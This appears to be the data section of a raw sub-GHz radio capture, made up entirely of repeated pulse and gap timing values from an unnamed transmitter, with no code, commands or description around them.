-1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 3401 -1398 1791 -1398 1801 -3002 3401 -3002 1795 -1394 1797 -1402 3401 -7512 21165 -2482 3841 -2832 3413 -3010 3401 -3002 3403 -3002 3401 -3002 3407 -2998 3393 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -2994 1801 -1400 1795 -1398 1801 -1400 3403 -2994 3401 -1402 1799 -3002 3395 -1400 1797 -2990 3401 -3004 1799 -1402 3401 -1398 1791 -1398 1799 -3004 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1795 -1398 3403 -1400 1801 -1400 1797 -2998 3395 -3002 1799 -1402 3401 -3002 3399 -3900 661 -442 1987 -2846 3333 -3156 3167 -3182 3185 -3192 3393 -3002 3393 -3004 3393 -3002 3407 -2996 3395 -2994 3401 -3002 3401 -2996 3393 -3002 3401 -1402 1795 -1398 1795 -1398 1801 -1402 1799 -1402 1799 -2996 1799 -1402 1799 -1402 1801 -1396 3389 -3004 3401 -1400 1801 -2994 3401 -1402 1801 -2994 3407 -3004 3193 -3196 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 -RAW_Data: 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 3407 -1400 1789 -1392 1797 -3002 3401 -3002 1801 -1402 3393 -1400 1801 -5854 1449 -3028 3481 -2910 3519 -2928 3493 -2856 3433 -3014 3415 -3010 3405 -2998 3397 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3407 -1404 1595 -1588 1795 -1402 1799 -1402 1799 -1402 1801 -2994 1799 -1402 1801 -1396 1791 -1398 3403 -3002 3401 -1402 1799 -2994 3403 -1400 1801 -2994 3393 -3002 3403 -3002 1795 -1394 3397 -3002 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -1400 1801 -1400 1801 -2994 3401 -2996 3401 -3002 1801 -1396 4197 -2116 2985 -3040 3495 -2924 3333 -3160 3173 -3184 3189 -3198 3189 -3196 3393 -3002 3393 -3002 3407 -2998 3393 -3002 3395 -3002 3401 -2994 3393 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -3002 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1400 1801 -3002 3395 -1400 1801 -2994 3407 -2996 3395 -3002 3401 -2994 1801 -1396 1797 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3395 -1400 1801 -1400 1795 -2992 3401 -3006 -RAW_Data: 3207 -3194 3407 -3798 1471 -2756 1731 -2764 3451 -3026 3423 -3014 3401 -3002 3393 -3008 3401 -2998 3393 -3002 3403 -2994 3401 -2994 3395 -3002 3401 -3002 3393 -3002 3395 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 3405 -2998 3393 -1398 1797 -3002 3393 -1400 1801 -3002 3395 -3002 3401 -2998 3209 -1602 1591 -3184 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 3401 -1400 1801 -1398 1791 -3000 3401 -3002 3401 -1398 1795 -3002 3603 -3528 2573 -2892 3567 -2982 3387 -2990 3393 -2994 3407 -3006 3393 -2994 3401 -2996 3393 -3002 3401 -3002 3403 -2994 3401 -2994 3399 -3006 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1402 1795 -1394 3403 -3004 3401 -1398 1791 -3000 3401 -1402 1795 -3000 3401 -3006 3403 -1400 1791 -2992 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 3401 -1398 1795 -1402 1801 -3006 3197 -3194 3393 -1402 1801 -1400 1801 -7732 2037 -2694 3601 -2994 3401 -2994 3403 -2994 3401 -3002 3403 -2994 3393 -3002 3401 -2996 3401 -3002 3399 -3004 3399 -2998 3399 -2996 3395 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 1801 -1396 3399 -3002 3393 -1402 1799 -3002 3395 -1396 1797 -3006 3397 -3002 3395 -1400 1801 -3002 3393 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 -RAW_Data: 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1398 1801 -1400 3403 -1396 1797 -1400 1801 -3002 3393 -1402 1795 -3004 1803 -1398 1791 -1398 3403 -4578 1767 -2596 3785 -2526 3699 -2874 3441 -3022 3419 -3010 3401 -3002 3401 -3002 3403 -3002 3393 -3002 3403 -2994 3401 -2994 3401 -3004 3401 -1396 1793 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -3002 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3407 -1404 1595 -3192 3401 -1396 1793 -2998 3403 -3002 3393 -1402 1799 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -1396 1797 -1402 1799 -3002 3395 -1400 1801 -3002 1795 -1398 3401 -7634 8423 -2600 3601 -3002 3403 -3002 3401 -3002 3403 -2994 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -3002 3393 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1799 -1402 1799 -1398 1791 -1398 3403 -3002 3401 -1396 1793 -2998 3403 -1400 1801 -3002 3407 -2996 3395 -1396 1791 -1398 1801 -1402 1799 -3002 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 3401 -1402 1795 -1398 1801 -3002 3401 -1398 1795 -3004 3401 -2994 3601 -5084 8583 -2458 3835 -2822 3413 -3010 3403 -3002 3401 -3002 3395 -3002 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3403 -3002 -RAW_Data: 3393 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -3002 3403 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3407 -1404 1595 -1594 1791 -3000 3405 -1404 1597 -3190 3407 -1404 1597 -7988 1673 -3042 3323 -3148 3363 -2976 3185 -3194 3399 -2998 3393 -3002 3401 -2994 3395 -3006 3397 -2994 3403 -2994 3407 -3004 3393 -2996 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -3002 3403 -1396 1791 -3000 1801 -1400 1801 -1400 3403 -3002 1795 -1394 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 3393 -1400 1801 -1398 1791 -3000 3401 -1400 1801 -1400 1801 -3002 1795 -1396 3597 -4754 1619 -2850 3567 -2982 3389 -2990 3395 -3002 3393 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3407 -2996 3395 -2998 3397 -2994 3403 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -3002 1799 -1402 1801 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -2998 3403 -1400 1801 -2994 3401 -1402 1795 -2992 1799 -1402 3401 -3002 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 -RAW_Data: 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -1400 1795 -1394 1797 -3002 3401 -1402 1795 -1398 1801 -3002 3401 -7874 2005 -2696 3647 -2838 3423 -3002 3401 -3002 3401 -3004 3401 -3006 3397 -3002 3395 -2994 3401 -3002 3395 -3002 3401 -2994 3407 -2998 3397 -1400 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1398 3401 -3006 3393 -1398 1791 -3000 3401 -1402 1799 -2994 3403 -1400 1795 -2992 1801 -1400 3401 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 3401 -1396 1797 -1402 1799 -2994 3403 -1400 1795 -1396 1795 -1402 1799 -3004 3801 -4428 14941 -2434 3819 -2810 3415 -3004 3403 -3002 3405 -2998 3393 -3000 3397 -3002 3393 -3002 3395 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -3004 1803 -1398 1791 -1398 1801 -1400 3407 -2998 3393 -1402 1799 -3002 3395 -1400 1801 -2994 3401 -1398 1797 -3002 3401 -2998 1805 -1396 1793 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 3395 -1400 1801 -1400 1801 -2994 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -7354 2019 -2886 3413 -3002 3401 -3002 3403 -3002 3401 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -3002 3407 -2996 3395 -2994 3393 -3002 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1795 -1402 1801 -1400 3401 -3004 -RAW_Data: 3205 -1600 1591 -3188 3403 -1400 1801 -3002 3407 -1400 1791 -2992 3401 -3002 3401 -2994 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 3401 -1402 1801 -1396 1791 -1398 1801 -3006 1805 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -1476 3223 -2870 3519 -2934 3559 -2974 3187 -3190 3389 -2994 3395 -3002 3401 -2994 3403 -3002 3393 -3002 3401 -2996 3401 -2994 3407 -3004 3395 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -3000 1801 -1400 1801 -1396 1797 -1400 3403 -3002 3401 -1398 1791 -3000 3401 -1400 1801 -3002 3393 -1402 1801 -3002 3393 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -1400 1801 -1396 1793 -1398 1799 -3002 1801 -1402 1799 -1402 1795 -1394 3397 -7212 2943 -1710 3963 -2582 3587 -2990 3389 -2994 3403 -2994 3401 -2994 3401 -3004 3393 -3002 3401 -3002 3399 -3006 3393 -2994 3401 -2996 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1801 -1396 1797 -1402 3401 -3002 3393 -1402 1801 -2994 3401 -1402 1795 -2990 3403 -1400 1801 -3002 3401 -1398 1791 -1398 1801 -3002 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -1400 1801 -1402 1795 -1394 1797 -3002 1799 -1402 1801 -1400 3401 -3002 3795 -412 421 -3620 8315 -2598 3797 -2810 3401 -3002 3403 -3002 3401 -2994 3403 -3002 3393 -3002 3393 -3002 3395 -3002 3407 -2996 3395 -3002 3393 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -1400 1797 -2990 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 3401 -1402 1795 -1394 1797 -1400 1801 -3002 1799 -1402 1801 -1400 3395 -1400 1801 -7154 1989 -2800 3335 -3110 3489 -3052 3239 -3024 3411 -3006 3393 -3002 3401 -3002 3395 -3006 3397 -2994 3407 -3002 3197 -3194 3395 -3002 3393 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -1396 1797 -3006 1605 -1596 3391 -3002 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1797 -1398 1799 -1402 3401 -1402 1795 -1394 1795 -1402 1801 -3002 1799 -1402 3401 -2994 1801 -1402 3393 -4578 1987 -2610 3585 -2746 3685 -2908 3493 -2922 3337 -3160 3375 -2982 3389 -2990 3395 -3002 3393 -3002 3395 -3002 3401 -2994 3401 -3002 3395 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -3006 1805 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1398 1791 -3004 3405 -1396 1793 -2998 3403 -1400 1801 -1396 -RAW_Data: 1793 -2998 3401 -3004 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 3401 -1400 1797 -1394 1795 -1402 1801 -3002 1799 -1402 3401 -2994 3401 -7890 1857 -2976 3401 -3002 3401 -3002 3403 -2994 3401 -3006 3397 -2996 3405 -3002 3197 -3194 3395 -3002 3205 -3198 3395 -2994 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -2996 1799 -1402 1799 -1402 1795 -1394 3403 -3006 3393 -1402 1799 -2998 3207 -1596 1791 -2996 3405 -1402 1795 -1398 1801 -3006 3397 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -1400 1801 -1400 1797 -1394 1795 -3002 1801 -1402 3401 -1400 1801 -3006 3397 